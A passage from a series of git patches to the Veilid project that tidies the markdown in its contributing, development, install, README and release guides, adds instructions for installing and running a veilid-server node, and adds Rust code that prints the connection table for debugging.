a way we can enhance existing features is just as important and useful as writing the code related to those things. Send us detailed information about your issue or idea: - - Features/Enhancements: Describe your idea. If you're able to, sketch out a diagram or mock-up. - - Bugs: Please be sure to include the expected behavior, the observed behavior, and steps to reproduce the problem. Please be descriptive about the environment you've installed your node or application into. - - [Help other users with open issues]. Sometimes all an issue needs is a little conversation to clear up a process or misunderstanding. Please keep the [Code of Conduct](./code_of_conduct.md) in mind. - - Help other contributors test recently submitted merge requests. By pulling down a merge request and testing it, you can help validate new code contributions for stability and quality. - - Report a security or privacy vulnerability. Please let us know if you find ways in which Veilid could handle security and/or privacy in a different or better way. Surely let us know if you find broken or otherwise flawed security and/or privacy functions. You can report these directly to security@veilid.org. - - Add or edit documentation. Documentation is a living and evolving library of knowledge. As such, care, feeding, and even pruning is needed from time to time. If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand. +- If you want to submit merge requests, begin by [forking] the project and checking out a new local branch. Name your new branch in a way that describes the work being done. This is referred to as a [feature branch]. +- Submit bugs as well as feature/enhancement requests. Letting us know you found a bug, have an idea for a new feature, or see a way we can enhance existing features is just as important and useful as writing the code related to those things. Send us detailed information about your issue or idea: + - Features/Enhancements: Describe your idea. If you're able to, sketch out a diagram or mock-up. + - Bugs: Please be sure to include the expected behavior, the observed behavior, and steps to reproduce the problem. Please be descriptive about the environment you've installed your node or application into. +- [Help other users with open issues]. Sometimes all an issue needs is a little conversation to clear up a process or misunderstanding. Please keep the [Code of Conduct](./code_of_conduct.md) in mind. +- Help other contributors test recently submitted merge requests. By pulling down a merge request and testing it, you can help validate new code contributions for stability and quality. +- Report a security or privacy vulnerability. Please let us know if you find ways in which Veilid could handle security and/or privacy in a different or better way. Surely let us know if you find broken or otherwise flawed security and/or privacy functions. You can report these directly to . +- Add or edit documentation. Documentation is a living and evolving library of knowledge. As such, care, feeding, and even pruning is needed from time to time. If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand. +### Bug Fixes -#### Bug Fixes -* **Do** include reproduction steps in the form of [verification steps]. -* **Do** link to any corresponding issues in your commit description. +- **Do** include reproduction steps in the form of [verification steps]. +- **Do** link to any corresponding issues in your commit description. ## Bug Reports When reporting Veilid issues: -* **Do** write a detailed description of your bug and use a descriptive title. -* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug. -* **Don't** file duplicate reports. Search open issues for similar bugs before filing a new report. -* **Don't** attempt to report issues on a closed PR. New issues should be openned against the `main` branch. -Please report vulnerabilities in Veilid directly to security@veilid.org. +- **Do** write a detailed description of your bug and use a descriptive title. +- **Do** include reproduction steps, stack traces, and anything that might help us fix your bug. +- **Don't** file duplicate reports. Search open issues for similar bugs before filing a new report. +- **Don't** attempt to report issues on a closed PR. New issues should be openned against the `main` branch. + +Please report vulnerabilities in Veilid directly to . If you're looking for more guidance, talk to other Veilid contributors on the [Veilid Discord]. **Thank you** for taking the few moments to read this far! Together we will build something truely remarkable. - - This contributor guide is inspired by the contribution guidelines of the [Metasploit Framework](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) project found on GitHub. [Help other users with open issues]:https://gitlab.com/veilid/veilid/-/issues From 84e3303cecafbe2ae31e6096b881446eaa1296e7 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Tue, 12 Sep 2023 08:43:09 -0500 Subject: [PATCH 17/86] Cleaned up .md files syntax Used the VScode markdownlint utility to make the syntax and formatting of multuple .md files so that they are more correct. --- DEVELOPMENT.md | 34 ++++++++++--------- INSTALL.md | 32 ++++++++++++------ README-DE.md | 22 ++++++------ README.md | 22 ++++++------ RELEASING.md | 92 +++++++++++++++++++++++++++++--------------------- 5 files changed, 116 insertions(+), 86 deletions(-) diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index 05771911..d84303bc 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,8 +1,9 @@ -[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg)](code_of_conduct.md) - # Veilid Development +[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg)](code_of_conduct.md) + ## Introduction + This guide covers setting up environments for core, Flutter/Dart, and Python development. See the relevent sections. ## Obtaining the source code @@ -20,14 +21,15 @@ itself, Ubuntu or Mint. Pull requests to support other distributions would be welcome! Running the setup script requires: + * Android SDK and NDK * Rust -You may decide to use Android Studio [here](https://developer.android.com/studio) -to maintain your Android dependencies. If so, use the dependency manager +You may decide to use Android Studio [here](https://developer.android.com/studio) +to maintain your Android dependencies. If so, use the dependency manager within your IDE. If you plan on using Flutter for Veilid development, the Android Studio -method is highly recommended as you may run into path problems with the 'flutter' -command line without it. If you do so, you may skip to +method is highly recommended as you may run into path problems with the 'flutter' +command line without it. If you do so, you may skip to [Run Veilid setup script](#Run Veilid setup script). * build-tools;33.0.1 @@ -38,7 +40,6 @@ command line without it. If you do so, you may skip to #### Setup Dependencies using the CLI - You can automatically install the prerequisites using this script: ```shell @@ -88,20 +89,21 @@ cd veilid-flutter ./setup_flutter.sh ``` - ### macOS Development of Veilid on MacOS is possible on both Intel and ARM hardware. Development requires: -* Android Studio + +* Android Studio * Xcode, preferably latest version * Homebrew [here](https://brew.sh) * Android SDK and NDK * Rust -You will need to use Android Studio [here](https://developer.android.com/studio) +You will need to use Android Studio [here](https://developer.android.com/studio) to maintain your Android dependencies. Use the SDK Manager in the IDE to install the following packages (use package details view to select version): + * Android SDK Build Tools (33.0.1) * NDK (Side-by-side) (25.1.8937393) * Cmake (3.22.1) @@ -121,7 +123,7 @@ export PATH=\$PATH:$HOME/Library/Android/sdk/platform-tools EOF ``` -#### Run Veilid setup script +#### Run Veilid setup script (macOS) Now you may run the MacOS setup script to check your development environment and pull the remaining Rust dependencies: @@ -130,7 +132,7 @@ pull the remaining Rust dependencies: ./dev-setup/setup_macos.sh ``` -#### Run the veilid-flutter setup script (optional) +#### Run the veilid-flutter setup script (optional) (macOS) If you are developing Flutter applications or the flutter-veilid portion, you should install Android Studio, and run the flutter setup script: @@ -144,13 +146,13 @@ cd veilid-flutter For a simple installation allowing Rust development, follow these steps: -Install Git from https://git-scm.com/download/win +Install Git from -Install Rust from https://static.rust-lang.org/rustup/dist/x86_64-pc-windows-msvc/rustup-init.exe +Install Rust from -Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from https://github.com/protocolbuffers/protobuf/releases/download/v24.2/protoc-24.2-win64.zip +Ensure that protoc.exe is in a directory in your path. For example, it can be obtained from -Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from https://capnproto.org/capnproto-c++-win32-0.10.4.zip +Ensure that capnp.exe is in a directory in your path. For example, it can be obtained from Start a Command Prompt window. diff --git a/INSTALL.md b/INSTALL.md index 35316168..9e77462a 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,61 +1,71 @@ # Install a Veilid Node - ## Server Grade Headless Nodes - These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. - ### Add the repo to a Debian based system and install a Veilid node + This is a multi-step process. - -**Step 1**: Add the GPG keys to your operating systems keyring.
+**Step 1**: Add the GPG keys to your operating systems keyring. *Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. + ```shell wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg ``` -**Step 2**: Identify your architecture
+ +**Step 2**: Identify your architecture *Explanation*: The following command will tell you what type of CPU your system is running + ```shell dpkg --print-architecture ``` -**Step 3**: Add Veilid to your list of available software.
+**Step 3**: Add Veilid to your list of available software. *Explanation*: Using the command in **Step 2** you will need to run **one** of the following: - For **AMD64** based systems run this command: + ```shell echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null ``` + - For **ARM64** based systems run this command: + ```shell echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null ``` + *Explanation*: Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. -**Step 4**: Refresh the package manager.
+**Step 4**: Refresh the package manager. *Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. This is invoked with "sudo" to grant superuser permission to make the changes. + ```shell sudo apt update ``` -**Step 5**: Install Veilid.
+**Step 5**: Install Veilid. *Explanation*: With the package manager updated, it is now possible to install Veilid! This is invoked with "sudo" to grant superuser permission to make the changes. + ```shell sudo apt install veilid-server veilid-cli ``` ### Add the repo to a Fedora based system and install a Veilid node -**Step 1**: Add Veilid to your list of available software.
+ +**Step 1**: Add Veilid to your list of available software. *Explanation*: With the package manager updated, it is now possible to install Veilid! + ```shell yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo ``` -**Step 2**: Install Veilid.
+ +**Step 2**: Install Veilid. *Explanation*: With the package manager updated, it is now possible to install Veilid! + ```shell dnf install veilid-server veilid-cli ``` diff --git a/README-DE.md b/README-DE.md index a8f67b62..8ae80956 100644 --- a/README-DE.md +++ b/README-DE.md @@ -1,8 +1,8 @@ # Willkommen bei Veilid -- [Aus der Umlaufbahn](#aus-der-umlaufbahn) -- [Betreibe einen Node](#betreibe-einen-node) -- [Entwicklung](#entwicklung) +- [Aus der Umlaufbahn](#aus-der-umlaufbahn) +- [Betreibe einen Node](#betreibe-einen-node) +- [Entwicklung](#entwicklung) ## Aus der Umlaufbahn @@ -13,17 +13,19 @@ Veilid wurde mit der Idee im Hinterkopf entworfen, dass jeder Benutzer seine eig Der primäre Zweck des Veilid Netzwerks ist es eine Infrastruktur für eine besondere Art von geteilten Daten zur Verfügung zu stellen: Soziale Medien in verschiedensten Arten. Dies umfasst sowohl leichtgewichtige Inhalte wie Twitters/Xs Tweets oder Mastodons Toots, mittleschwere Inhalte wie Bilder oder Musik aber auch schwergewichtige Inhalte wie Videos. Es ist eben so beabsichtigt Meta-Inhalte (wie persönliche Feeds, Antworten, private Nachrichten und so weiter) auf Basis von Veilid laufen zu lassen. ## Betreibe einen Node + Der einfachste Weg dem Veilid Netzwerk beim Wachsen zu helfen ist einen eigenen Node zu betreiben. Jeder Benutzer von Veilid ist automatisch ein Node, aber einige Nodes helfen dem Netzwerk mehr als Andere. Diese Nodes, die das Netzwerk unterstützen sind schwergewichtiger als Nodes, die Nutzer auf einem Smartphone in Form eine Chats oder eine Social Media Applikation starten würde.Droplets oder AWS EC2 mit hoher Bandbreite, Verarbeitungsressourcen und Verfügbarkeit sind wesentlich um das schnellere, sichere und private Routing zu bauen, das Veilid zur Verfügung stellen soll. Um einen solchen Node zu betreiben, setze einen Debian- oder Fedora-basierten Server auf und installiere den veilid-server Service. Um dies besonders einfach zu machen, stellen wir Paketmanager Repositories als .deb und .rpm Pakete bereit. Für weitergehendene Information schaue in den [Installation](./INSTALL.md) Leitfaden. ## Entwicklung + Falls Du Lust hast, dich an der Entwicklung von Code oder auch auf andere Weise zu beteiligen, schau bitte in den [Mitmachen](./CONTRIBUTING.md) Leitfaden. Wir sind bestrebt dieses Projekt offen zu entwickeln und zwar von Menschen für Menschen. Spezifische Bereiche in denen wir nach Hilfe suchen sind: -* Rust -* Flutter/Dart -* Python -* Gitlab DevOps und CI/CD -* Dokumentation -* Sicherheitsprüfungen -* Linux Pakete +- Rust +- Flutter/Dart +- Python +- Gitlab DevOps und CI/CD +- Dokumentation +- Sicherheitsprüfungen +- Linux Pakete diff --git a/README.md b/README.md index 98fb8764..a6ef2db4 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,8 @@ # Welcome to Veilid -- [From Orbit](#from-orbit) -- [Run a Node](#run-a-node) -- [Development](#development) +- [From Orbit](#from-orbit) +- [Run a Node](#run-a-node) +- [Development](#development) ## From Orbit @@ -13,17 +13,19 @@ Veilid is designed with a social dimension in mind, so that each user can have t The primary purpose of the Veilid network is to provide the infrastructure for a specific kind of shared data: social media in various forms. That includes light-weight content such as Twitter's tweets or Mastodon's toots, medium-weight content like images and songs, and heavy-weight content like videos. Meta-content such as personal feeds, replies, private messages, and so forth are also intended to run atop Veilid. ## Run a Node + The easiest way to help grow the Veilid network is to run your own node. Every user of Veilid is a node, but some nodes help the network more than others. These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and up time availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. To run such a node, establish a Debian or Fedora based VPS and install the veilid-server service. To make this process simple we are hosting package manager repositories for .deb and .rpm packages. See the [installing](./INSTALL.md) guide for more information. ## Development + If you're inclined to get involved in code and non-code development, please check out the [contributing](./CONTRIBUTING.md) guide. We're striving for this project to be developed in the open and by people for people. Specific areas in which we are looking for help include: -* Rust -* Flutter/Dart -* Python -* Gitlab DevOps and CI/CD -* Documentation -* Security reviews -* Linux packaging \ No newline at end of file +- Rust +- Flutter/Dart +- Python +- Gitlab DevOps and CI/CD +- Documentation +- Security reviews +- Linux packaging diff --git a/RELEASING.md b/RELEASING.md index f5550838..f7c8d92d 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -9,19 +9,19 @@ This guide outlines the process for releasing a new version of Veilid. The end r Releases happen via a CI/CD pipeline. The release process flows as follows: 1. Complete outstanding merge requests (MR): - + 1.1 Evaluate the MR's adherence to the published requirements and if automatic tests passed. - + 1.2 (Optional) Perform the merge in a local dev environment if testing is required beyond the standard Earthly tests. - + 1.3 If everything checks out, MR meets the published requirements, and tests passed, execute the merge functions in the Gitlab UI. 2. Maintainer performs version bump: - + 2.1 Update your local copy of `main` to mirror the newly merged upstream `main` - 2.2 Ensure the (CHANGELOG)[./CHANGELOG.md] is updated - + 2.2 Ensure the [CHANGELOG](./CHANGELOG.md) is updated + 2.3 Activate your bumpversion Python venv (see bumpversion setup section for details) 2.4 Execute version_bump.sh with the appropriate parameter (patch, minor, or major). This results in all version entries being updated and a matching git tag created locally. @@ -31,11 +31,11 @@ Releases happen via a CI/CD pipeline. The release process flows as follows: 2.6 Git commit the changes with the following message: `Version update: v{current_version} → v{new_version}` 2.7 Create the Git tag `git tag v{new_version}` - + 2.8 Push your local 'main' to the upstream origin 'main' `git push` - + 2.9 Push the new tag to the upstream origin `git push origin {tag name made in step 2.7}` i.e. `git push origin v0.1.5` - + 2.10 Ensure the package/release/distribute pipeline autostarted in the Gitlab UI Git tags serve as a historical record of what repo versions were successfully released at which version numbers. @@ -53,14 +53,15 @@ Occasionally a release will happen that needs to be reverted. This is done manua ## Released Artifacts -### Rust Crates: -- [x] __veilid-tools__ [**Tag**: `veilid-tools-v0.0.0`] +### Rust Crates + +- [x] __veilid-tools__ [__Tag__: `veilid-tools-v0.0.0`] > An assortment of useful components used by the other Veilid crates. > Released to crates.io when its version number is changed in `Cargo.toml` -- [x] __veilid-core__ [**Tag**: `veilid-core-v0.0.0`] +- [x] __veilid-core__ [__Tag__: `veilid-core-v0.0.0`] > The base rust crate for Veilid's logic > Released to crates.io when its version number is changed in `Cargo.toml` -- [ ] __veilid-server__ +- [ ] __veilid-server__ > The Veilid headless node end-user application > Not released to crates.io as it is an application binary that is either built by hand or installed using a package manager. > This application does not currently support `cargo install` @@ -69,51 +70,63 @@ Occasionally a release will happen that needs to be reverted. This is done manua > This application does not currently support `cargo install` - [ ] __veilid-wasm__ > Not released to crates.io as it is not a library that can be linked by other Rust applications -- [ ] __veilid-flutter__ +- [ ] __veilid-flutter__ > The Dart-FFI native interface to the Veilid API > This is currently built by the Flutter plugin `veilid-flutter` and not released. -### Python Packages: -- [x] __veilid-python__ [**Tag**: `veilid-python-v0.0.0`] +### Python Packages + +- [x] __veilid-python__ [__Tag__: `veilid-python-v0.0.0`] > The Veilid API bindings for Python > Released to PyPi when the version number is changed in `pyproject.toml` -### Flutter Plugins: -- [ ] __veilid-flutter__ +### Flutter Plugins + +- [ ] __veilid-flutter__ > The Flutter plugin for the Veilid API. - > Because this requires a build of a native Rust crate, this is not yet released via https://pub.dev - > TODO: Eventually the rust crate should be bound to + > Because this requires a build of a native Rust crate, this is not yet released via + > TODO: Eventually the rust crate should be bound to -### Operating System Packages: -- [x] __veilid-server__ DEB package [**Tag**: `veilid-server-deb-v0.0.0`] +### Operating System Packages + +- [x] __veilid-server__ DEB package [__Tag__: `veilid-server-deb-v0.0.0`] > The Veilid headless node binary in the following formats: - > * Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > * Pushed to APT repository at https://packages.veilid.net -- [x] __veilid-server__ RPM package [**Tag**: `veilid-server-rpm-v0.0.0`] + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-server__ RPM package [__Tag__: `veilid-server-rpm-v0.0.0`] > The Veilid headless node binary in the following formats: - > * Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > * Pushed to Yum repository at https://packages.veilid.net -- [x] __veilid-cli__ DEB package [**Tag**: `veilid-cli-deb-v0.0.0`] + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at + > +- [x] __veilid-cli__ DEB package [__Tag__: `veilid-cli-deb-v0.0.0`] > The Veilid headless node administrator control binary in the following formats: - > * Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository - > * Pushed to APT repository at https://packages.veilid.net -- [x] __veilid-cli__ RPM package [**Tag**: `veilid-cli-rpm-v0.0.0`] + > + > - Standalone Debian/Ubuntu DEB file as a 'release file' on the `veilid` GitLab repository + > - Pushed to APT repository at + > +- [x] __veilid-cli__ RPM package [__Tag__: `veilid-cli-rpm-v0.0.0`] > The Veilid headless node administrator control binary in the following formats: - > * Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository - > * Pushed to Yum repository at https://packages.veilid.net + > + > - Standalone RedHat/CentOS RPM file as a 'release file' on the `veilid` GitLab repository + > - Pushed to Yum repository at -### Version Numbering: +### Version Numbering -All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (https://semver.org/): +All versions of Veilid Rust crates as well as `veilid-python` and `veilid-flutter` packages are versioned using Semver. Versions can differ per crate and package, and it is important for the Semver rules to be followed (): -* MAJOR version when you make incompatible API changes -* MINOR version when you add functionality in a backward compatible manner -* PATCH version when you make backward compatible bug fixes +- MAJOR version when you make incompatible API changes +- MINOR version when you add functionality in a backward compatible manner +- PATCH version when you make backward compatible bug fixes The `version_bump.sh` script should be run on every release to stable. All of the Rust crates are versioned together and should have the same version, as well as the `veilid-python` Python package and `veilid-flutter` Flutter plugin. ## Bumpversion Setup and Usage + ### Install Bumpversion + 1. Create a Python venv for bumpversion.py. Mine is in my home dir so it persists when I update my local Veilid `main`. `python3 -m venv ~/bumpversion-venv` @@ -121,5 +134,6 @@ The `version_bump.sh` script should be run on every release to stable. All of th 3. Install bumpversion. `pip3 install bumpversion` ### Activate venv for version bumping step of the release process + 1. Activate the venv. `source ~/bumpversion-venv/bin/activate` -2. Return to step 2.4 of _Create a Gitlab Release_ \ No newline at end of file +2. Return to step 2.4 of _Create a Gitlab Release_ From 4b5bef83e22a52394b1c5411c2a22d296225eee1 Mon Sep 17 00:00:00 2001 From: zed tan Date: Tue, 12 Sep 2023 16:19:14 +0200 Subject: [PATCH 18/86] [#253] clean up INSTALL.md - Added `Install` section to group debian and rpm installs. - Re-added `
`s -- they're used to break the `_Explanation:_` blocks to the next line. My personal preference is to _not_ use `
`s in docs, but i didn't want to change too many things here. - Shortened titles `Add the repo to a Debian ...` and `... Fedora ...` to keep it super concise and decoupled from actual steps - Some formatting best-practices - newlines between markdown blocks - indent code blocks that belong to bullet points to make sure that they are syntatically grouped (i.e. correct markdown 'DOM' hierarchy) - sudo: - Removed `sudo` explanations. `apt/dnf/yum` will not run without, no need to explain. - added `sudo` to RPM instruction code blocks (just those two) for consistency, and also you can't run dnf/yum without root anyway. - Made generic "Fedora based" instructions. Actually YUM/DNF-based, keeping it simple for now. Also name-dropped common distros for SEO/CTRL+F convenience - Removed certain `Explanation` blocks for concision. Some are repeated, and some step titles are already self-explanatory --- INSTALL.md | 43 ++++++++++++++++++++++++++----------------- 1 file changed, 26 insertions(+), 17 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index 9e77462a..d3a104fd 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -4,9 +4,11 @@ These network support nodes are heavier than the node a user would establish on their phone in the form of a chat or social media application. A cloud based virtual private server (VPS), such as Digital Ocean Droplets or AWS EC2, with high bandwidth, processing resources, and uptime availability is crucial for building the fast, secure, and private routing that Veilid is built to provide. -### Add the repo to a Debian based system and install a Veilid node +## Install -This is a multi-step process. +### Debian + +Follow the steps here to add the repo to a Debian based system and install Veilid. **Step 1**: Add the GPG keys to your operating systems keyring. *Explanation*: The `wget` command downloads the public key, and the `sudo gpg` command adds the public key to the keyring. @@ -15,52 +17,59 @@ This is a multi-step process. wget -O- https://packages.veilid.net/gpg/veilid-packages-key.public | sudo gpg --dearmor -o /usr/share/keyrings/veilid-packages-keyring.gpg ``` -**Step 2**: Identify your architecture +**Step 2**: Identify your architecture
*Explanation*: The following command will tell you what type of CPU your system is running ```shell dpkg --print-architecture ``` -**Step 3**: Add Veilid to your list of available software. -*Explanation*: Using the command in **Step 2** you will need to run **one** of the following: +**Step 3**: Add Veilid to your list of available software.
+*Explanation*: Use the result of your command in **Step 2** and run **one** of the following: - For **AMD64** based systems run this command: -```shell -echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null -``` + ```shell + echo "deb [arch=amd64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` - For **ARM64** based systems run this command: -```shell -echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null -``` + ```shell + echo "deb [arch=arm64 signed-by=/usr/share/keyrings/veilid-packages-keyring.gpg] https://packages.veilid.net/apt stable main" | sudo tee /etc/apt/sources.list.d/veilid.list 1>/dev/null + ``` *Explanation*: Each of the above commands will create a new file called `veilid.list` in the `/etc/apt/sources.list.d/`. This file contains instructions that tell the operating system where to download Veilid. -**Step 4**: Refresh the package manager. -*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. This is invoked with "sudo" to grant superuser permission to make the changes. +**Step 4**: Refresh the package manager.
+*Explanation*: This tells the `apt` package manager to rebuild the list of available software using the files in `/etc/apt/sources.list.d/` directory. ```shell sudo apt update ``` **Step 5**: Install Veilid. -*Explanation*: With the package manager updated, it is now possible to install Veilid! This is invoked with "sudo" to grant superuser permission to make the changes. ```shell sudo apt install veilid-server veilid-cli ``` -### Add the repo to a Fedora based system and install a Veilid node +### RPM-based + +Follow the steps here to add the repo to +RPM-based systems (CentOS, Rocky Linux, AlmaLinux, Fedora, etc.) +and install Veilid. **Step 1**: Add Veilid to your list of available software. -*Explanation*: With the package manager updated, it is now possible to install Veilid! ```shell -yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-repo.repo +``` +**Step 2**: Install Veilid. + +```shell +sudo dnf install veilid-server veilid-cli ``` **Step 2**: Install Veilid. From a3e3ab8ab5b3267cee8e1c5cd634605e61305caa Mon Sep 17 00:00:00 2001 From: zed tan Date: Mon, 11 Sep 2023 22:21:40 +0200 Subject: [PATCH 19/86] [#253] add instructions to run veilid node Added instructions to: - Run a veilid node with systemd - add instructions for getting veilid to start at boot - Manually run a veilid node, because users may use platforms without systemd available. Changes: - Changed title to include run - Added `systemctl start ...` instructions - Added heavily caveated instructions to run veilid-server manually --- INSTALL.md | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/INSTALL.md b/INSTALL.md index d3a104fd..e30ef149 100644 --- a/INSTALL.md +++ b/INSTALL.md @@ -1,4 +1,4 @@ -# Install a Veilid Node +# Install and run a Veilid Node ## Server Grade Headless Nodes @@ -72,9 +72,31 @@ sudo yum-config-manager --add-repo https://packages.veilid.net/rpm/veilid-rpm-re sudo dnf install veilid-server veilid-cli ``` -**Step 2**: Install Veilid. -*Explanation*: With the package manager updated, it is now possible to install Veilid! +## Start headless node + +To start a headless Veilid node, run as root: ```shell -dnf install veilid-server veilid-cli +systemctl start veilid-server.service ``` + +To have your Veilid node start at boot: + +```shell +systemctl enable --now veilid-server.service +``` + +> **Not recommended:** +> In cases where you must run `veilid-server` +> without `systemd` (e.g., systems that use OpenRC, or containers), +> you _must_ run the `veilid-server` +> as the `veilid` user. +> Do this manually by running as root: +> +> ```shell +> # Force-allow login by setting shell +> usermod -s /bin/bash veilid +> # Run veilid-server as veilid user +> # Note that by default, veilid user is still passwordless. +> sudo -u veilid veilid-server +> ``` From 671f3495786cb859c45e2eaabdcd02c3217e33a6 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Tue, 12 Sep 2023 21:40:13 -0400 Subject: [PATCH 20/86] conn table --- .../src/network_manager/connection_manager.rs | 8 ++++++ .../src/network_manager/connection_table.rs | 28 +++++++++++++++++++ .../src/network_manager/network_connection.rs | 11 ++++++++ veilid-core/src/veilid_api/debug.rs | 7 ++++- 4 files changed, 53 insertions(+), 1 deletion(-) diff --git a/veilid-core/src/network_manager/connection_manager.rs b/veilid-core/src/network_manager/connection_manager.rs index febad51c..9ea09d34 100644 --- a/veilid-core/src/network_manager/connection_manager.rs +++ b/veilid-core/src/network_manager/connection_manager.rs @@ -404,4 +404,12 @@ impl ConnectionManager { let _ = sender.send_async(ConnectionManagerEvent::Dead(conn)).await; } } + + pub async fn debug_print(&self) -> String { + //let inner = self.arc.inner.lock(); + format!( + "Connection Table:\n\n{}", + self.arc.connection_table.debug_print_table() + ) + } } diff --git a/veilid-core/src/network_manager/connection_table.rs b/veilid-core/src/network_manager/connection_table.rs index be39fb3b..d2d13bcb 100644 --- a/veilid-core/src/network_manager/connection_table.rs +++ b/veilid-core/src/network_manager/connection_table.rs @@ -72,6 +72,15 @@ impl ConnectionTable { } } + fn index_to_protocol(idx: usize) -> ProtocolType { + match idx { + 0 => ProtocolType::TCP, + 1 => ProtocolType::WS, + 2 => ProtocolType::WSS, + _ => panic!("not a connection-oriented protocol"), + } + } + #[instrument(level = "trace", skip(self))] pub async fn join(&self) { let mut unord = { @@ -331,4 +340,23 @@ impl ConnectionTable { let conn = Self::remove_connection_records(&mut *inner, id); Some(conn) } + + pub fn debug_print_table(&self) -> String { + let mut out = String::new(); + let inner = self.inner.lock(); + let cur_ts = get_aligned_timestamp(); + for t in 0..inner.conn_by_id.len() { + out += &format!( + " {} Connections: ({}/{})\n", + Self::index_to_protocol(t).to_string(), + inner.conn_by_id[t].len(), + inner.max_connections[t] + ); + + for (_, conn) in &inner.conn_by_id[t] { + out += &format!(" {}\n", conn.debug_print(cur_ts)); + } + } + out + } } diff --git a/veilid-core/src/network_manager/network_connection.rs b/veilid-core/src/network_manager/network_connection.rs index b96a36e3..76b4e13d 100644 --- a/veilid-core/src/network_manager/network_connection.rs +++ b/veilid-core/src/network_manager/network_connection.rs @@ -391,6 +391,17 @@ impl NetworkConnection { .await; }.instrument(trace_span!("process_connection"))) } + + pub fn debug_print(&self, cur_ts: Timestamp) -> String { + format!("{} <- {} | {:x} | est {} sent {} rcvd {}", + self.descriptor.remote_address(), + self.descriptor.local().map(|x| x.to_string()).unwrap_or("---".to_owned()), + self.connection_id.as_u64(), + debug_duration(cur_ts.as_u64().saturating_sub(self.established_time.as_u64())), + self.stats().last_message_sent_time.map(|ts| debug_duration(cur_ts.as_u64().saturating_sub(ts.as_u64())) ).unwrap_or("---".to_owned()), + self.stats().last_message_recv_time.map(|ts| debug_duration(cur_ts.as_u64().saturating_sub(ts.as_u64())) ).unwrap_or("---".to_owned()), + ) + } } // Resolves ready when the connection loop has terminated diff --git a/veilid-core/src/veilid_api/debug.rs b/veilid-core/src/veilid_api/debug.rs index 633f77f4..2ef953de 100644 --- a/veilid-core/src/veilid_api/debug.rs +++ b/veilid-core/src/veilid_api/debug.rs @@ -682,6 +682,7 @@ impl VeilidAPI { async fn debug_nodeinfo(&self, _args: String) -> VeilidAPIResult { // Dump routing table entry let routing_table = self.network_manager()?.routing_table(); + let connection_manager = self.network_manager()?.connection_manager(); let nodeinfo = routing_table.debug_info_nodeinfo(); // Dump core state @@ -702,7 +703,11 @@ impl VeilidAPI { format_opt_bps(Some(peer.peer_stats.transfer.up.average)), ); } - Ok(format!("{}\n\n{}\n\n", nodeinfo, peertable)) + + // Dump connection table + let connman = connection_manager.debug_print().await; + + Ok(format!("{}\n\n{}\n\n{}\n\n", nodeinfo, peertable, connman)) } async fn debug_config(&self, args: String) -> VeilidAPIResult { From 86aae741e0fdcfa8b0fb6317a3ba898d09cb4122 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Wed, 